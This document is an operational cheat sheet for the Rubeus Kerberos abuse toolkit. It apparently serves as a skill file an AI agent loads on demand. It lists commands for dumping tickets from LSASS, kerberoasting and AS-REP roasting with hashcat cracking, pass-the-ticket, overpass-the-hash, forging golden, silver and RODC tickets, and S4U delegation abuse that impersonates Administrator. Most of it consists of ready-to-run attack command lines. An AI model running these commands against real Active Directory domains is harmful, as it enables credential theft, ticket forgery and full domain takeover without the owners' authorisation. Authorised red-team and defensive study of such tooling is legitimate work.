AeonDave Rubeus
C# Kerberos abuse toolkit — TGT/TGS manipulation, roasting, delegation, and ticket operations.
Quick Start
# AS-REP Roasting (no pre-auth required users)
Rubeus.exe asreproast /format:hashcat
# Kerberoasting (service account TGS)
Rubeus.exe kerberoast /format:hashcat /outfile:hashes.txt
# Dump all tickets from memory
Rubeus.exe dump /nowrap
Core Modules
Ticket Harvesting
| Command | Description |
|---|---|
dump |
Dump tickets from LSASS |
triage |
List all tickets |
monitor |
Monitor new TGTs (interval-based) |
harvest |
Harvest TGTs over time |
Ticket Requests
| Command | Description |
|---|---|
asktgt |
Request TGT with password/hash/aes |
asktgs |
Request TGS for a service |
renew |
Renew a TGT |
Roasting
| Command | Description |
|---|---|
asreproast |
AS-REP roast (pre-auth disabled) |
kerberoast |
Roast SPN-registered accounts |
brute |
Password brute-force via Kerberos |
Ticket Abuse
| Command | Description |
|---|---|
ptt |
Pass-the-ticket (inject to current session) |
purge |
Purge tickets from memory |
describe |
Parse and describe a ticket |
createnetonly |
Create sacrificial logon session |
Delegation
| Command | Description |
|---|---|
s4u |
S4U2Self + S4U2Proxy (constrained delegation) |
tgssub |
Substitute altservice in TGS |
Ticket Forging
| Command | Description |
|---|---|
golden |
Forge golden ticket (TGT) — supports /rodcNumber for RODC golden tickets |
silver |
Forge silver ticket (TGS) for specific service |
diamond |
Modify legitimate TGT (stealthier than golden) |
Common Workflows
# Kerberoast all SPNs → crack offline
Rubeus.exe kerberoast /format:hashcat /outfile:spns.txt
hashcat -a 0 -m 13100 spns.txt rockyou.txt
# AS-REP roast (dump users without pre-auth)
Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
hashcat -a 0 -m 18200 asrep.txt rockyou.txt
# Pass-the-ticket: import stolen ticket
Rubeus.exe ptt /ticket:base64_or_file.kirbi
klist # verify ticket in session
# Overpass-the-hash: get TGT with NTLM hash
Rubeus.exe asktgt /user:admin /rc4:NTLMHASH /ptt
# Golden ticket equivalent: asktgt with AES key
Rubeus.exe asktgt /user:admin /aes256:AESKEY /domain:corp.local /dc:dc.corp.local /ptt
# Constrained delegation S4U
Rubeus.exe s4u /user:service$ /rc4:HASH /impersonateuser:administrator /msdsspn:cifs/target.corp.local /ptt
# RODC Golden Ticket — forge TGT signed by RODC krbtgt_XXXXX
# /rodcNumber sets kvno to (XXXXX << 16 | kvno_low) automatically
Rubeus.exe golden /rodcNumber:8245 /aes256:<krbtgt_8245_aes256> /user:Administrator /id:500 /domain:domain.local /sid:<domain_SID> /flags:forwardable,renewable,enc_pa_rep /outfile:ticket.kirbi
# Then upgrade to real TGS via asktgs against writable DC
Rubeus.exe asktgs /ticket:ticket.kirbi /service:cifs/DC01.domain.local /dc:<writable_dc_ip> /outfile:tgs.kirbi
# S4U with SPN substitution (/altservice) for double-hop
# Gets cifs/ ticket but substitutes http/ for WinRM access
Rubeus.exe s4u /user:FAKE$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/TARGET.domain.local /altservice:http/TARGET.domain.local /dc:<dc_ip> /ptt
# createnetonly — sacrifice logon session for ticket injection (bypasses WinRM double-hop)
# Creates a new process in LOGON_TYPE 9 where injected tickets are usable for outbound auth
Rubeus.exe s4u /user:FAKE$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/TARGET.domain.local /dc:<dc_ip> /ptt /createnetonly:"cmd.exe /c C:\Windows\Temp\run.bat" /show:false
Resources
| File | When to load |
|---|---|
references/kerberos-attacks.md |
Full Kerberos attack chain, delegation types, ticket format, detection notes |